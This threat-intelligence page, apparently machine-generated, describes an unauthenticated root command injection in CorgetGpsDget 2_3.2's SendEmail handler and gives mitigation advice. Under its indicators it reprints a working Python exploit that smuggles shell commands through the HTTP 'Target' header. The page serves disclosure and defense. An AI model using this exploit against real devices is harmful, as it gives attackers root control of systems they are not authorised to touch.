CorgetGpsDget 2_3.2 - OS Command Injection
CorgetGpsDget 2_3.2 - OS Command Injection
AI Analysis
Technical Summary
CorgetGpsDget 2_3.2 includes an unauthenticated OS command injection vulnerability in the HTTP service's SendEmail handler. The 'Target' header value is directly concatenated into a system() call that runs a mail command, enabling attackers to inject arbitrary OS commands executed as root. The exploit uses a specially crafted HTTP POST request with the 'Method: SendEmail' header and a malicious 'Target' header containing injected commands. The vulnerability was identified by reversing the binary and analyzing the CHttpHandler::SendEmail function. Public Python exploit code is available demonstrating remote command execution with root privileges. No CVE has been assigned and no official patch or vendor advisory is currently available.
Potential Impact
An unauthenticated attacker can execute arbitrary OS commands with root privileges on the affected system by sending a crafted HTTP request with a malicious 'Target' header. This can lead to full system compromise, including data theft, service disruption, or further network pivoting. The HTTP service runs as root, significantly increasing the severity of exploitation.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a patch is available, restrict network access to the vulnerable HTTP service to trusted users only. Monitor for suspicious HTTP requests containing unusual or malformed 'Target' headers. If possible, disable or isolate the SendEmail handler to prevent exploitation.
Indicators of Compromise
- exploit-code: # Exploit Title: CorgetGpsDget 2_3.2 - OS Command Injection # Date: 2026-07-05 # Exploit Author: Bytetobreach # Fofa server: "PTTServer" # Vendor Homepage: http://corget.com # Version: GpsDget 2_3.2, build 2020-09-01 (dget.version); product line Gps2.0 # Tested on Ubuntu. Binary reversed on Ghidra Debian. # Sink is in http/HttpHandler.cpp CHttpHandler::SendEmail # CVE: pending (requested) # # Description: # HTTP service (Server: PTTServer) unauthenticated handler reachable by SendEmail # method request header. The "Target" header recipient # header is unsafly concatenated into a system() call: # system("echo '<body>'|mail -r '[email protected]' -s '<subject>' <Target>"); # A Target value such as `x;<cmd>;` injects unauthenticated arbitrary OS commands # executed as root. # Example: python3 corget.py TARGET:7777 'id > /data/rce' # HTTP/1.0 200 Ok # Server: PTTServer # Content-Length: 0 # curl TARGET:13001/rce # uid=0(root) gid=0(root) 组=0(root) import socket, sys host, port =3D sys.argv[1].split(':') cmd =3D sys.argv[2] if len(sys.argv) > 2 else 'id > /data/pwn' req =3D f"POST / HTTP/1.0\r\nMethod: SendEmail\r\nTarget: x;{cmd};\r\nConte= nt-Length: 3\r\n\r\na&b" s =3D socket.socket() s.connect((host, int(port))) s.send(req.encode()) print(s.recv(4096).decode(errors=3D'replace'))
CorgetGpsDget 2_3.2 - OS Command Injection
Description
CorgetGpsDget 2_3.2 - OS Command Injection
Affected software
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CorgetGpsDget 2_3.2 includes an unauthenticated OS command injection vulnerability in the HTTP service's SendEmail handler. The 'Target' header value is directly concatenated into a system() call that runs a mail command, enabling attackers to inject arbitrary OS commands executed as root. The exploit uses a specially crafted HTTP POST request with the 'Method: SendEmail' header and a malicious 'Target' header containing injected commands. The vulnerability was identified by reversing the binary and analyzing the CHttpHandler::SendEmail function. Public Python exploit code is available demonstrating remote command execution with root privileges. No CVE has been assigned and no official patch or vendor advisory is currently available.
Potential Impact
An unauthenticated attacker can execute arbitrary OS commands with root privileges on the affected system by sending a crafted HTTP request with a malicious 'Target' header. This can lead to full system compromise, including data theft, service disruption, or further network pivoting. The HTTP service runs as root, significantly increasing the severity of exploitation.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a patch is available, restrict network access to the vulnerable HTTP service to trusted users only. Monitor for suspicious HTTP requests containing unusual or malformed 'Target' headers. If possible, disable or isolate the SendEmail handler to prevent exploitation.
Technical Details
- Version
- GpsDget 2_3.2, build 2020-09-01 (dget.version); product line Gps2.0
- Author
- Bytetobreach
- Edb Id
- 52631
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for CorgetGpsDget 2_3.2 - OS Command Injection
# Exploit Title: CorgetGpsDget 2_3.2 - OS Command Injection # Date: 2026-07-05 # Exploit Author: Bytetobreach # Fofa server: "PTTServer" # Vendor Homepage: http://corget.com # Version: GpsDget 2_3.2, build 2020-09-01 (dget.version); product line Gps2.0 # Tested on Ubuntu. Binary reversed on Ghidra Debian. # Sink is in http/HttpHandler.cpp CHttpHandler::SendEmail # CVE: pending (requested) # # Description: # HTTP service (Server: PTTServer) unauthenticated handler reachable by SendEmail # met... (816 more characters)
Threat ID: 6a7a404abf8831d5398df4da
Added to database: 08/10/2026, 21:19:06 UTC
Last enriched: 08/17/2026, 22:17:42 UTC
Last updated: 09/23/2026, 03:30:01 UTC
Views: 80
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.